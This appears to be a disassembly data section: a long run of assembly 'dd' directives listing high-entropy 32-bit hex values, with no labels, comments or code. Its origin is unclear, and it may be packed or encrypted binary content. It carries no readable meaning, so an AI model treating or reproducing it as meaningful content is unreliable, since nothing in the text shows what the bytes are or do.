dd 9AC8D1D8h, 4009C21h, 4F330802h, 0F4BB34DCh, 1AAC03C5h
dd 828C868Bh, 0F87A9BD8h, 0F6ADEC00h, 60BB4846h, 816C0008h
dd 0CF474A5Bh, 72074C3Dh, 0D9511257h, 9942E9C1h, 0B337D880h
dd 44D41007h, 3FA509Ah, 945B6916h, 0FD000C52h, 0C1B8E06Eh
dd 255CE0D3h, 4882BB79h, 6C6691B5h, 0B4827800h, 0D48F7BD7h
dd 5409704Ch, 17C8A036h, 478EEDh, 839AF58Eh, 7E00D768h
dd 0DC32BCD8h, 1896F9h, 85FB8ED4h, 62CCA82Eh, 0AC47E600h
dd 1265C8C2h, 0D25006Dh, 0B1134AF1h, 834A4E50h, 0F9EAF045h
dd 0B58068D7h, 3A31E36Bh, 0DC0EA5B9h, 6CC96755h, 5F436864h
dd 8A40A222h, 818C4574h, 0D83D2C18h, 5BFCD379h, 8964004Eh
dd 0B8B624AEh, 0BB000543h, 7C4DF014h, 60BCDEFCh, 5AE088CCh
dd 0CE02300Ah, 712FE36Ch, 4098A0C5h, 0F04F925Ch, 26B20C5Bh
dd 6E78B915h, 0F1D13E00h, 4DA6F63Ah, 35300307h, 3914E2C7h
dd 2DDDC801h, 8AAEC589h, 0B6B2842Ch, 92244200h, 1F2B820h
dd 326A8184h, 0F01437B5h, 0DEE11ECh, 0C470E200h, 98587336h
dd 575B91h, 0CC260EC8h, 0DA006A82h, 48011E9Fh, 0FB421Bh
dd 9051BCB8h, 0AE245DA8h, 7D189900h, 5A5BDFDCh, 8DE80092h
dd 0FB88EF38h, 8B7BDE78h, 6094260Ch, 344301Dh, 0E9418A58h
dd 0BCD4B67Ch, 0BE0490BCh, 0C89AD8B1h, 0D931757Fh, 5EE11822h
dd 222870CAh, 3A22B649h, 51642011h, 0D7FFE119h, 0F6085529h
dd 84980F44h, 42D5FC22h, 64CB4871h, 0D8212C29h, 0B5FD11DAh
dd 120CEA11h, 0CF5B1020h, 84C638Ah, 93E86529h, 0D6845410h
dd 422548CCh, 4824E4A4h, 12C74D21h, 1E3C83C1h, 0DC2911DEh
dd 0CBAA1150h, 0DB1CCD21h, 28105062h, 0E9C844BAh, 14745084h
dd 7C228404h, 1A08F7C9h, 0A0B8F944h, 89BCF43Ch, 403D1191h
dd 0B82713C8h, 953800FBh, 0AA61AA2h, 5800ABFEh, 0CD978175h
dd 40BDFFh, 0CCCF8EEFh, 37650363h, 40084BCh, 5B48562Fh
dd 1817B035h, 249D5CFDh, 55006C10h, 47BF15C3h, 7992E4F3h
dd 13685F8Eh, 0AF30054h, 84B58C28h, 0AD23B70Fh, 0A17B2F51h
dd 3A26A99Ch, 4A8D0FCh, 0FCA3E369h, 2BA8C84Fh, 112ADA1Dh
dd 0BF4D66C5h, 44BB0C90h, 14C239A6h, 0B75ECE02h, 0E11AA0h
dd 906080C1h, 568E473Ch, 29980E3h, 4ACC7308h, 44B208A0h
dd 841F9780h, 0A86EF4h, 0B892F226h, 0E42DB536h, 28644960h
dd 2C132FBFh, 3B4E3AAh, 59713984h, 0B9C6D5B8h, 55E1D10Dh
dd 0ADE498DAh, 4569005Bh, 77E7EB3Eh, 7103F86Dh, 4976378Eh
dd 0DFF4C89Ah, 0C18B0099h, 3093F90h, 7500201Bh, 0BD39C841h
dd 800870h, 1A4328CFh, 9918488Fh, 387F841Dh, 5A95CE40h
dd 83298Eh, 0D4448821h, 349F3B3Eh, 45D1B000h, 0DB65AD74h
dd 50B70070h, 0D0AB87CDh, 0C1ED659h, 3A0546C9h, 8000E132h
dd 17492C51h, 0D80D00BBh, 269EA98Ch, 0EA3F0EBAh, 7D8901B7h
dd 0C213D183h, 12AA9470h, 806FC073h, 0DB82E358h, 728AB800h
dd 0E5818F2Ch, 0CFC48D7h, 0E3AF5F00h, 4410496Ch, 6000E071h
dd 0D2F41874h, 1F1AB2DAh, 407C50FDh, 0D6A3F730h, 910E848Eh
dd 0E13FA813h, 0C778C847h, 49A870h, 3D7E6D23h, 3304AB12h
dd 0EC0D481Dh, 843FC86Eh, 3910CB2Eh, 0B6D740B0h, 79308F54h
dd 0E9B62DC0h, 4300D3ADh, 144EA53Bh, 1DD7A0A4h, 811E290Ch
dd 0D4A1CE7Fh, 9E6EC70h, 2A5D3A00h, 0E2D6428Eh, 4672005Eh
dd 80F4EE33h, 6E15DBA2h, 73E8309Bh, 98EAF504h, 0A787C28Ah
dd 71E4640h, 0B7263A0Ch, 4009F81Dh, 0E27837E6h, 0D0008B15h
dd 0DF5788DBh, 0A8DDA7h, 36295473h, 0C18DF7DEh, 0E5E6A00h
dd 95DBEF2h, 12F5017Ah, 0D0FDD4AEh, 33C43095h, 412A6A0Fh
dd 0CFBB23D6h, 1ED1B74Bh, 1468247Dh, 7B77A001h, 392E966Eh
dd 727400D0h, 193D97FFh, 0A62203F2h, 0A3CC6288h, 0A50E80D8h
dd 23F62600h, 0D7327649h, 8C160786h, 517DC8E6h, 0EBDF5508h
dd 0E8C6A9E7h, 0B3008072h, 0A5B45BCFh, 3F19FBF6h, 2B81AAC7h
dd 2FC049Ch, 2C283Bh, 19F89FBAh, 86DC09h, 98779B3Fh, 0E69A45CDh
dd 5900B0B8h, 10BDB7ACh, 1E3C07E1h, 683857h, 585FE4E5h
dd 7800172Dh, 0EFA01DF9h, 0E84F09D1h, 896500CCh, 34980A2Bh
dd 6700D703h, 2076E958h, 0DE4EFAh, 0DF8D5A7Dh, 97251B2Ah
dd 0A1C3CB00h, 0BA41CE67h, 40E60037h, 7E222E29h, 43B64D2h
dd 74150052h, 9EF87DD5h, 0F6AE043Ah, 0C0CF6C31h, 96C0161Ch
dd 0C00704Ah, 39B4FED6h, 81D02747h, 51152880h, 8F07D4AAh
dd 0FFC0C98h, 5AD07D30h, 27647131h, 0B08FA447h, 793AD2C0h
dd 0DF0093F7h, 871DD6Bh, 5A86FEh, 4AF601Fh, 295D913h, 0FC7725h
dd 0DBCD7DC0h, 50FF1F71h, 0FD67CCE9h, 460073DCh, 0EE0F559Ah
dd 1C7F485Dh, 0B866ABh, 0EF2F52A6h, 0B0009D57h, 0DF81EC33h
dd 3F73A337h, 0F50D4Ch, 5ECA510Bh, 0F7EA3170h, 0BF7CA1F8h
dd 38037809h, 0B1C80091h, 79FC0796h, 0FA130054h, 7A666B82h
dd 5B00B646h, 9B975F03h, 0B1BC1E8h, 67F21A74h, 9E3D6700h
dd 1D00E078h, 5CE69F85h, 26E6534h, 31F20AF6h, 1C54D8FEh
dd 449C980h, 3BA82Eh, 0EEA04420h, 41343E6Dh, 3F13E077h
dd 98C06C58h, 3DECC925h, 77000E31h, 30A844EFh, 430352C0h
dd 0BE223F95h, 5F01A7B2h, 4CCAF3Dh, 18EB006Dh, 64BC0DB5h
dd 8301DD10h, 0B47E47DBh, 13F978Ch, 957D96C8h, 0E3496092h
dd 0D8EDB700h, 30602972h, 0B0879743h, 6B6A80CFh, 0CE0F0521h
dd 0C025B106h, 26DD99D4h, 4CE1002Fh, 0C3E01796h, 0B4900D34h
dd 7C37B200h, 0B1F00FFFh, 2FEE002Dh, 0AEDEB72Ch, 0ED77C6BEh
dd 404D771Dh, 2211CDC0h, 1274A125h, 0F4B6EE1Eh, 7D00EA30h
dd 0B48E072Dh, 1BB339Bh, 0AA2373E1h, 0D490FB36h, 21FEB538h
dd 8CE84300h, 2CBFA3C6h, 0E93600B2h, 5C2D081Eh, 8A0072AAh
dd 3EBD8DD7h, 1DA615Bh, 503FED81h, 0FB27CDFCh, 1C60A016h
dd 8E492D03h, 7488987Dh, 7C540026h, 2D8C43EBh, 6AB0B49Fh
dd 0A1D519C3h, 0B07DC8C8h, 93B0029h, 27DEC4D7h, 6B009383h
dd 0AC72B22Dh, 1EF3F46Fh, 0C9BCF68Bh, 80A7361Ch, 327E3019h
dd 95014637h, 85BB5599h, 86808676h, 6952B1F6h, 4C399793h
dd 20CF167Ah, 0EC0009h, 6AD68517h, 24580106h, 0B3E07710h
dd 728687Eh, 0AEC3DABBh, 2791A530h, 231900BDh, 79821DB3h
dd 7100D57Fh, 0BE450F52h, 0A56853h, 58D6A9EFh, 0B0877766h
dd 0D9ABE317h, 72294701h, 0D4407C7Ah, 527162Fh, 0EC20669Bh
dd 0D05787B0h, 0EBF93C7Dh, 1000727Ah, 975EC60Eh, 48FD251h
dd 0F1D94359h, 3C90C0AAh, 1B8DBE1h, 0A85BA01Dh, 6D3ADD00h
dd 4B1E28h, 0C80536E6h, 18D38E51h, 4798F71Ch, 6052033Dh
dd 0C82D86EBh, 9C505Ch, 0F0F13892h, 8BA70951h, 0DA34700h
dd 0D58F40E9h, 579301E5h, 4950E45Eh, 0F2687462h, 0E1A839h
dd 0B9CF8876h, 14B182F7h, 0AC1FDC17h, 0B200CE4Eh, 0D5B030EFh
dd 0C3015CF6h, 550D6643h, 52D86265h, 0DCE70AF8h, 0B43DD7h
dd 75D9F651h, 0C15CAEFAh, 87282FF0h, 33C2FE64h, 0A09AE0E2h
dd 0E7D51330h, 2F7800ACh, 61648CB6h, 5D089701h, 553F75E6h
dd 7BAFD0h, 8DC78423h, 6C9C569Eh, 288ED300h, 0C888FD87h
dd 897503BCh, 94EB7EA1h, 1B2980A0h, 0B8695900h, 0BBCD8AACh
dd 6A5C3CE7h, 0C4DED20Eh, 0ADD6DF00h, 27000AFAh, 0AB212971h
dd 7099E0h, 33D0DA2Eh, 7E0BDD8Eh, 0B0A02B71h, 899798A8h
dd 80047904h, 0CAA38F8Dh, 4E00E113h, 378A6FAEh, 13FC0601h
dd 1FD6E548h, 0F32E40BDh, 0C3C5BDE0h, 0C79A9002h, 81F0713Ch
dd 62BA6CB0h, 0CFC05C22h, 5ECDB9D3h, 0D261F0C0h, 587F5074h
dd 951444F3h, 3701F4E2h, 0B6FD1B60h, 1FD1D43Bh, 0D90CEBB0h
dd 60E9AF0Eh, 1917006Fh, 838BC735h, 973CE65Ah, 5DD5808Eh
dd 0B252DC5Bh, 0CDF5002Eh, 1FB0EAABh, 0C5301641h, 27406856h
dd 0A630004Dh, 34B79D5Ch, 730094E1h, 837C1417h, 3DFD167h
dd 5CA7AB6Dh, 82909121h, 0B3247B01h, 32009CC0h, 67B7EA19h
dd 1F9702C8h, 0F36855B1h, 1CAFA440h, 72842800h, 4CFAD62Ah
dd 0D9570018h, 0DC7977A9h, 1204F2B8h, 81783213h, 0E31FFCFCh
dd 86918E9Ah, 0BBDF4C00h, 6E00E4F1h, 3F2C542Dh, 0C7D0DCh
dd 7F661DCBh, 4ACAB135h, 0AF220403h, 0A8C98DE7h, 2F8F533h
dd 6FF41B92h, 0FC610C30h, 1398F0A6h, 0E9AC8397h, 23B491AAh
dd 0E8C8C8h, 6CE6EBBAh, 1187CB7Ch, 0D6A64B01h, 12B7C013h
dd 98002CBBh, 26A2C966h, 0A0A25AD2h, 0F91F9068h, 9D4311C0h
dd 1EF4E81Eh, 53098D91h, 48E08004h, 0A80010B5h, 9E80AD66h
dd 294AFA1h, 32DA82F8h, 0D4C00B5Dh, 13F8084Ah, 0E13B9E00h
dd 0AD010E84h, 0D17F0399h, 0BE55A726h, 3BCF2839h, 712F00C2h
dd 0F67240A0h, 0B860012h, 0ACA67AAFh, 0FB1FF9B6h, 0E3522A80h
dd 1C290B0h, 8E3E14C1h, 0C455FCBDh, 8B006DFBh, 69DE4812h
dd 0C95D4C0Dh, 0C0F91BB1h, 0D8F58D43h, 7EEFE07Ch, 580C0B3Bh
dd 4C82AD74h, 0DA61DA65h, 0E61180EEh, 0F510D5Bh, 22DB00C9h
dd 6D25E03Ch, 69009A49h, 2080F8DAh, 6E91A9h, 4DFB012Ch
dd 4BF374B2h, 47E01D04h, 4CED8BADh, 57B411h, 0F7311CD2h
dd 18081A42h, 7083B17Dh, 8118192Ch, 0A9112FFBh, 7E4F008Eh
dd 0F963673Bh, 0D00BED3h, 759CF2D7h, 9B031Fh, 42B8CB73h
dd 2298C537h, 0D793DD01h, 46E32D30h, 0A7F860h, 0E1FA3F8Ch
dd 8B92A97Bh, 2801C5F0h, 9B4BDD07h, 41E031EBh, 68BF4C2Dh
dd 0D4ACDA00h, 1C5370ABh, 243878B8h, 0A47F8081h, 7E8FADB2h
dd 0C9E80058h, 4F95B362h, 0FF000C14h, 0F3392B9Dh, 194437h
dd 0D9A0BEF7h, 6F95BAB0h, 2C16E018h, 9F9D0E20h, 0A0712CA4h
dd 4F1FD178h, 0CDDD86D5h, 53078216h, 0BC84FDD2h, 1960DCEDh
dd 0BBF95A2Ah, 123E6AF2h, 3420812Fh, 0A4307090h, 1FC401C1h
dd 0ADEEB2h, 0A32B45A0h, 800CD23Bh, 5400CCB1h, 65C9ABC6h
dd 952E2772h, 901834A0h, 0F500C53Eh, 0EFDEDAB0h, 31DA6ABh
dd 37D92496h, 0E5A0CBBCh, 0D3EA3EC9h, 55380E00h, 2D63B6A3h
dd 0CF9407CDh, 502EF52Fh, 6E1A99C6h, 6F08B003h, 0C8BD1286h
dd 7CD1D24h, 68549392h, 0E953D37Fh, 6A983498h, 91A60214h
dd 0F3060FA8h, 637A60AEh, 301E7293h, 9E46C6EAh, 809FA196h
dd 3396E68h, 8D8F8033h, 4F7FA506h, 186F86h, 0B2DAAF83h
dd 0B92033E5h, 80F5C33Bh, 49B1EA5h, 58B0FD08h, 0D003CE8h
dd 7AFB1390h, 5201D1C6h, 0E568BE0h, 1AD89251h, 9CCB0CFEh
dd 0B340F6A0h, 7E9BE30Eh, 0F0184085h, 2C55A6B9h, 0DB8DDCh
dd 8FF2F33Bh, 8600CC21h, 2EDF6E73h, 7F721Dh, 665DFCCFh
dd 0EB8412D7h, 4CF54E1Eh, 0E7E3228Fh, 51B7E552h, 0AC7B1070h
dd 5B212876h, 4A4E0AFEh, 38A6568Eh, 4110A25h, 3B07E4DFh
dd 1596C204h, 0E0C0EC5Ah, 5CF57Eh, 0ACDDB4F6h, 8E425277h
dd 0E984CB00h, 0B52A40D3h, 3D00053h, 37F49972h, 0B200F712h
dd 559751Dh, 4F578B28h, 18080014h, 0A0252D76h, 1DF52600h
dd 0E4B99FD8h, 3A63077Bh, 0EEC0CF02h, 7F71C843h, 68316698h
dd 4972E5Ch, 0C98B0DA5h, 58211CBCh, 6BC08F82h, 5D48E16Ah
dd 3B94002Fh, 0F52CDF8Eh, 376C9D00h, 0C2A93090h, 0B905035Dh
dd 5E1BAACAh, 3C72D599h, 8FAE39C0h, 0DE6C949Eh, 170154A9h
dd 0B7037E22h, 0B4823C4h, 0ABCE94D9h, 0C4A09003h, 823208C8h
dd 9E817B00h, 0D66FC05Eh, 68530C7Ch, 0B5989A44h, 1F5AA05h
dd 7980629Eh, 0E95426h, 0BAB63282h, 0EDC8A89Ch, 8C40FEC0h
dd 425BD0h, 0A51AA9AAh, 573A2696h, 0C511019Fh, 9EFC3571h
dd 49283985h, 0F0986D00h, 9710752Fh, 79E3EE05h, 0F0C08FFCh
dd 0C52A5h, 9C425AE9h, 59EDCB78h, 1DF89801h, 0B31B8C6Ch
dd 2F9F6DCh, 708A029Bh, 60FCC7AAh, 4B0B6200h, 9F71B894h
dd 0DE40EC00h, 0CE251B7Bh, 61B49290h, 2F547Ah, 24B9784Ch
dd 7C9EECAFh, 8108383Dh, 0CEFEA90Ch, 8C60FF2Dh, 0A5910E07h
dd 0E4342172h, 0A1BB8A00h, 877983F8h, 0B9BFC082h, 41F720Fh
dd 0CE818037h, 9D2C0A2h, 73903F96h, 94A9D481h, 0C48682h
dd 3E775A2Ch, 0F49CD46h, 0AC8F553Ah, 1D0002D6h, 0BD840F12h
dd 10CB80C8h, 832439BFh, 0A0034C26h, 882A6C90h, 0CBBE2B7h
dd 95532C18h, 1B01C29Ch, 77A646F9h, 4DD97F62h, 0DE780B2Bh
dd 38364841h, 92888060h, 0F169550Fh, 5B64C870h, 9F9C2232h
dd 835CF2C0h, 133A510Bh, 0D8BC4301h, 6EFAE3h, 3E70B23h
dd 6455CD68h, 0CBE6F900h, 33E2C7BDh, 8ED10015h, 307D488Fh
dd 9F012768h, 0B744AE3h, 0FFC87AD0h, 7E7C9001h, 51520019h
dd 2F30CBD3h, 0D400ED9Eh, 8665AE2h, 0C1D6B1h, 1F12E5E6h
dd 24A3434Ah, 0F994B850h, 6D356B0Fh, 0D573A078h, 1D7115Dh
dd 0DEEF04E6h, 0E0C37565h, 7800D87Ah, 0AE195C67h, 1F94D0A0h
dd 0C06F98C1h, 7C76BD2Ah, 9A169120h, 0D008635h, 0FF02F6A2h
dd 7D9C2724h, 3801EC80h, 0B7797AB6h, 116C2A01h, 0F1980A1Bh
dd 8583DCh, 2782D390h, 296A45ACh, 23BA1903h, 906F619Dh
dd 0B8EBF785h, 6CFF0204h, 0CB257D18h, 0BB60E874h, 602E528Ah
dd 0FF8C29C3h, 5B3AF38Fh, 0D0D8CFh, 0E4D3A9BDh, 4C90AB1h
dd 0FA069AABh, 9908C0DDh, 9F3D31A3h, 55007003h, 0C28ED6F1h
dd 4BDF6256h, 5BAC40F4h, 0F2131CCAh, 3808AB03h, 0B4934157h
dd 5214B0h, 48D7A43Ah, 5CF1902Dh, 0F7979D0Fh, 0A02E2BABh
dd 0C35FB5A8h, 0D8F6380Ch, 0E11D3881h, 0D8E0831Ch, 9A03B3F9h
dd 3449A521h, 4079FAh, 1F43EB30h, 9B9C3EF2h, 93F62500h
dd 653B807Bh, 21090C14h
dd 4EC8CE13h, 0F4D84400h, 0E9611594h, 1C29774Fh, 9020126h
dd 0FC59B9D5h, 0A0E2D060h, 93E6B0h, 85DE537Eh, 6BFEE952h
dd 0D5B97960h, 0B53924h, 0DB38F725h, 0AFDCD0F3h, 138F8600h
dd 5AC82894h, 0C043EE45h, 7BC68CB0h, 0CCB0BC17h, 8010B53Ah
dd 2205982h, 2444D031h, 0BA8073h, 0B153B671h, 0A10070A7h
dd 9BF77A97h, 3862C60Fh, 0D85DFC18h, 2970A400h, 0D7A22B21h
dd 0D28C0595h, 1496860h, 0AE453B21h, 60475680h, 74EB03CAh
dd 0DE433100h, 0FD91FFA0h, 0B017074Ch, 0EEEE4245h, 609C4178h
dd 0D4FF7102h, 0D86F3EC5h, 0DB6600A0h, 3376578Ch, 0A575381Bh
dd 0D4A8222Ch, 480B8801h, 16B1A64h, 445FD70Ch, 987CB4h
dd 0CF93D932h, 183FBBh, 290830CCh, 0A52D531Bh, 91EA0A00h
dd 0DAE993FBh, 6F40689h, 798C7D08h, 0CF133000h, 52FA8EA1h
dd 375B3185h, 0F0781740h, 5600D699h, 25D490FBh, 0F0F93Eh
dd 0BA361D95h, 0C6134A6Ch, 0E22DB501h, 0C70EB04Bh, 9800C069h
dd 2B80FD60h, 6159465h, 0A8DC51h, 0D591DB3Eh, 0B7DA6E9Eh
dd 2D979400h, 0DC266896h, 514EDA8h, 44C3F190h, 5DF01180h
dd 97F3EEB4h, 6F012A76h, 62BD363Ch, 10208EFBh, 0B26101FDh
dd 0AE0FEAFEh, 0E854C08Ah, 5750AA07h, 85A0D755h, 5955D56h
dd 0A490446Bh, 16DC91ABh, 0CD9895DBh, 29A780DCh, 0F24A4FC7h
dd 867D383Ah, 2EDDEE80h, 995CD0Fh, 0ECCB1200h, 0BA8756F6h
dd 4C3F02E1h, 6C26644Bh, 0B8C48755h, 986867D1h, 0BEF3B0F4h
dd 12BE9298h, 4B7C90D0h, 89EA1DFCh, 0B8D3DC07h, 1BC07AA2h
dd 2F5FF6Bh, 32C9F24Dh, 24E0180Bh, 0A4005102h, 53887426h
dd 0C050F882h, 68588310h, 906B06Eh, 0B494FCA7h, 5B6C2DE1h
dd 7051D049h, 57E425C0h, 360E9C0h, 7FB0EBCh, 9A45C98Ch
dd 0A2600ED2h, 0D41DAE09h, 858E8409h, 61B87037h, 0F619C87Bh
dd 84E4247Ah, 95F24100h, 0D978A671h, 88BB1640h, 85C4008Ah
dd 21DA796h, 0B41CDCE2h, 6C40277Ch, 51EF1E77h, 0EA46FC4Ah
dd 453D28F2h, 66F500CCh, 0E7D7BA89h, 3F00B279h, 0C7DB7DD8h
dd 25C38DC2h, 0F8AC6757h, 0E073E360h, 5CFFEC00h, 34E5FE33h
dd 0B2CC2C6Fh, 723D0E48h, 0B480DC82h, 0A9BC34C0h, 86FCF060h
dd 99A4D7h, 21F351F5h, 715FD808h, 95591407h, 96F0038Dh
dd 0F4DD7h, 2C1C2A7Eh, 5CEC29EBh, 7AC5BF00h, 0B9A86463h
dd 61CD00BCh, 6E2589C6h, 1AF42428h, 19DB720Bh, 0BA800EBh
dd 0E9E590h, 5AFB819Eh, 657AA1E1h, 326DF100h, 0A426AA1Ch
dd 0E8720358h, 70C6BCC4h, 233D90F0h, 0B6ACC700h, 72C2C968h
dd 0F62B3FCBh, 4C27B73Bh, 1F76A040h, 5F0D0F0h, 0DF362D09h
dd 0B6E8F894h, 0F0BE1658h, 0AF0035ACh, 6FDBECB7h, 13315D2Ch
dd 0B0C4D13Ah, 9312AC44h, 50059D37h, 0B4C102DAh, 1A71FD4Bh
dd 0EF40076Ah, 7CE4D0A0h, 3900DB68h, 0D766B6FBh, 0A60F34h
dd 92376CECh, 0A8154EFFh, 5E01DD7Fh, 31BCD878h, 0BFDCAA11h
dd 0AD6448CEh, 7D00153Ah, 7591B733h, 7000A82Bh, 3BD747B6h
dd 26F87A3Ch, 97801D3Dh, 13802145h, 0A47869h, 744651E4h
dd 76A26BFh, 0C5DE2A85h, 0E3D470A9h, 9800AC5Dh, 0F48C8F4Dh
dd 5CFD51h, 507EB241h, 0F064DCE8h, 0E7061E2Eh, 22ECA802h
dd 4DE8C033h, 566B12FFh, 0D96C01A2h, 0C88E364Ah, 3F2454C2h
dd 9112664Eh, 131EA400h, 59832410h, 7409505Fh, 6002D218h
dd 68D6E1AFh, 0B2528038h, 50EA1B6Bh, 0D9552D10h, 7810D40Bh
dd 0FE0128C5h, 97B17106h, 17CDF8FAh, 9A3DC24h, 840D1EDAh
dd 510B4C9Ch, 8CA68Dh, 0ADDEFA0h, 4CC89277h, 178C878h
dd 97135395h, 348833E8h, 26008100h, 0C8D146ABh, 0F6BCC7h
dd 5E700510h, 3825E6C9h, 0E46A4926h, 165F74C4h, 7D040F4h
dd 66811629h, 2C60C2EEh, 5F52B299h, 0E90F07FFh, 0D07B3AB4h
dd 0C5B6E5F6h, 0ED08BB17h, 98FC4CF0h, 0D46D34D4h, 0AD7DC159h
dd 0A1AFFDh, 7FA2DCCh, 0EF7608h, 0E252B8D1h, 3EF11FA6h
dd 4B6C9E16h, 2A9FCB0h, 65D3E8CDh, 74C558B6h, 9CA8CE12h
dd 3A017A0Ch, 9C00AF19h, 4720153Ch, 1F81CB11h, 5307492h
dd 8473A96Fh, 0CE98B4C8h, 1AAA842Eh, 0D97AD00h, 2B11D7F9h
dd 1090BC1Bh, 0DBCFC290h, 4120E0AEh, 0C8985425h, 780C0C9Fh
dd 1511C1B0h, 0DC539728h, 891C8859h, 0D6782209h, 248C4DAh
dd 0C1BAD3D8h, 0E4E1A7FBh, 2797DC62h, 6C2F8800h, 4846BD3Bh
dd 9E4B2CBCh, 0E538994h, 57770801h, 9694507Eh, 5F586EE5h
dd 0F4A00954h, 215020A3h, 0B15E46h, 55A7404Ch, 0E0E2608Fh
dd 8BDF7117h, 26440E4h, 8438D42Fh, 0C0D17E6Ah, 4CE4D000h
dd 5C6069Ah, 0F8E3EE18h, 0C824E054h, 31627509h, 7BC88702h
dd 8B839DA0h, 47EE4CF2h, 4B28AC40h, 8DCCC0E0h, 24751643h
dd 0A3DA904h, 40C0E3C9h, 30472B3Ch, 3E11BF1Eh, 0BE2259F3h
dd 7EF81CDCh, 0E22C017h, 195A914Ah, 1B5C5E01h, 86C698F4h
dd 65D0E7CBh, 0A0FA94A9h, 22F38Ah, 74A0F146h, 0E4CEB8CBh
dd 0AA50B892h, 0C409CDB8h, 204F994Eh, 2F6B8F6Ch, 7CDC0501h
dd 92718D96h, 0E8C68384h, 8053AD3Fh, 0A4FBCBE0h, 7163209Bh
dd 0F45F78ECh, 17C600B2h, 0B4C9C27Fh, 340055B1h, 0D508BF20h
dd 0B69F66h, 0BD6B3D9Ah, 2A502EFFh, 4823EB00h, 0CA32EA9Ch
dd 55E81CC1h, 97244046h, 82DEE5F0h, 1A68F458h, 80D0AF0Ah
dd 8A9981A0h, 0F541CF5h, 58A280F3h, 0DE6DA074h, 0F10B3000h
dd 3CEB2B04h, 0CEAF1C7Fh, 0DD768FBEh, 6E123A01h, 2B319E83h
dd 0A6F93880h, 0C67872h, 449F147Eh, 8223B9ABh, 0F8CE4200h
dd 0AE3298B1h, 0F302E2FEh, 5A0C006Ah, 113B516Bh, 2C06BC04h
dd 9080A54Dh, 7EBDD69Fh, 13C4ED5h, 0B3192DF4h, 58127EE8h
dd 3EAACB4h, 0C561AB2Ah, 0EC7E470Eh, 7C82135Fh, 13A8F46Fh
dd 0FFF4A057h, 2D77A440h, 4CEC75BCh, 80B76000h, 0CCEF1221h
dd 4FCF0190h, 5BB6E804h, 5D3060A0h, 84651F44h, 6A31660Fh
dd 0E90E62h, 0FCF3430Eh, 923E0571h, 0C0E3CB82h, 0CF911390h
dd 6A4C00B7h, 54413Bh, 0F7690D9Ch, 3319444Bh, 7C842800h
dd 0ACB6B32Ch, 0D9350039h, 975EC8BEh, 0DF1C6BF8h, 4ACE488Ah
dd 2B00B227h, 0D61695A0h, 473C2h, 0CC10B5BFh, 67DD01EBh
dd 1C307600h, 2A7BD36h, 0F9D800EAh, 3BCB0B87h, 40C0673Dh
dd 0FD686EC6h, 86A85806h, 0A4E7ED00h, 0B70CE083h, 0CB008BECh
dd 58D84B9Ch, 6DA909h, 0AF16FDD2h, 0C5C6DCEAh, 6791CD00h
dd 0EFF37ECCh, 0AA5AE5h, 95138ABCh, 0FF4B6A2Fh, 4F36E060h
dd 28F64DC0h, 0C63CEE0Eh, 7940263Dh, 80F42CF6h, 0C55DB4ACh
dd 6F7E128Eh, 712CC85Eh, 0EBFA6B00h, 433CDF2h, 39500D2h
dd 9D5AE9A7h, 7E04DC67h, 0B2B5ED73h, 0B07C68FCh, 201A0974h
dd 19000DDDh, 4E0838F5h, 0F76D8F1Dh, 70A1ED80h, 0B8B59A3Fh
dd 0D799C039h, 290836A3h, 0D4801D00h, 0F9603105h, 26CE1692h
dd 7858628Fh, 98C1A426h, 80389984h, 473E4B7Ah, 5B01349Dh
dd 31592176h, 0F43498BAh, 3FE000BDh, 30FCE145h, 8998D3DEh
dd 8072370h, 0F57F2111h, 0E02A8102h, 35B9B5h, 590BC51Bh
dd 4F3C4136h, 3CB3287Dh, 0B060CB3Bh, 58D139B9h, 7490E48Dh
dd 5B821BB0h, 0C9F0DF00h, 0A56CC6BEh, 642F50F4h, 1F327A7Dh
dd 0EAFF30h, 5E87C4D4h, 0DC09A75Ah, 80D03BB7h, 81A55048h
dd 0C0A05496h, 941209BFh, 0F0C6C928h, 0D45C8B00h, 883D1C33h
dd 0F22D7EB3h, 0CA413C4Dh
dd 40C08059h, 7C77ADD8h, 9B223400h, 6A82F66Dh, 60A44E83h
dd 45403EC8h, 0E6015470h, 0F996B069h, 0AC749F82h, 9EC3008Eh
dd 0A1F7B638h, 8C3A3AC1h, 24A04C29h, 8F002A48h, 1960751Bh
dd 47940015h, 37067D9Ch, 0D65CAA1Ah, 5EE81FBBh, 0B63C7481h
dd 4EC6D17h, 0E038B01Bh, 0F1190061h, 0C8F263BFh, 9D015CE2h
dd 0A2AB8C03h, 30601C10h, 8CD954E8h, 6C33B79Fh, 9370DC90h
dd 0CA4C38B2h, 5C084E3Ch, 400AF1Eh, 7C8DE530h, 7B8F3B04h
dd 3CC0B7C4h, 0BAB940Ah, 0B4E2D6CAh, 5B788200h, 0AE132224h
dd 2CF08D15h, 0AC0100CDh, 98DD4026h, 0F10EB6DAh, 3286EB56h
dd 5700B4B9h, 0ED29EF93h, 35009763h, 1E2E7DB0h, 15183DBh
dd 93E734EEh, 70EA7127h, 8C38D73Fh, 74508066h, 95BC4746h
dd 0AA233EF3h, 4E41710Fh, 7DA10700h, 200832Ah, 915AB29Ah
dd 1427D3h, 0A4164EC5h, 82F17266h, 68B92C25h, 7C4594h
dd 223C46E7h, 0AC63C02Bh, 1CEF9450h, 8BA52507h, 11F01E0Fh
dd 246F3B08h, 7CA635h, 5DD57E07h, 681D643Ah, 61EF9FEBh
dd 4BC448E8h, 13B401C0h, 830251B8h, 0E4023B89h, 0C6AB4E18h
dd 0F5490E30h, 6CA5EF7Eh, 26DE801Ch, 64488F9Ah, 91880080h
dd 2F045B51h, 7F8C28E3h, 0AD878B1h, 269A6DACh, 0D7A00091h
dd 171F64B7h, 0FE2FF607h, 0BEA08BC6h, 29F20Eh, 0CB5FA946h
dd 3EAF6627h, 6DB3C700h, 0E51CAE63h, 8EE2572h, 0C3B760D0h
dd 5CE0E66Dh, 1C0EB42Dh, 6B80F314h, 24C20934h, 0DDBDD40Fh
dd 0E1D8021Ah, 120C40F5h, 0B04000F6h, 81318A19h, 0A8DC01DDh
dd 0EE5FC400h, 25854CEh, 0D995F99Dh, 0D4C10AA4h, 4A3881F3h
dd 51FFF7A6h, 30277997h, 49710DF0h, 12919A03h, 0C4B7D351h
dd 0D8C0BBC0h, 9A6B500Bh, 0B9EA02FEh, 0E164158Ch, 0E6559B60h
dd 0F9829100h, 39A3E358h, 15190E2h, 25AC48DAh, 64C7103Fh
dd 2D073E18h, 0B62C3B6h, 2488AB21h, 0BCA470h, 0A4A042AAh
dd 0D6ACA218h, 8D2B3Dh, 0A5E33F57h, 0AC82F48h, 2DBFCA39h
dd 0DDCF00BDh, 0ABA6096Fh, 611C230Bh, 0E915009Fh, 3C5E5338h
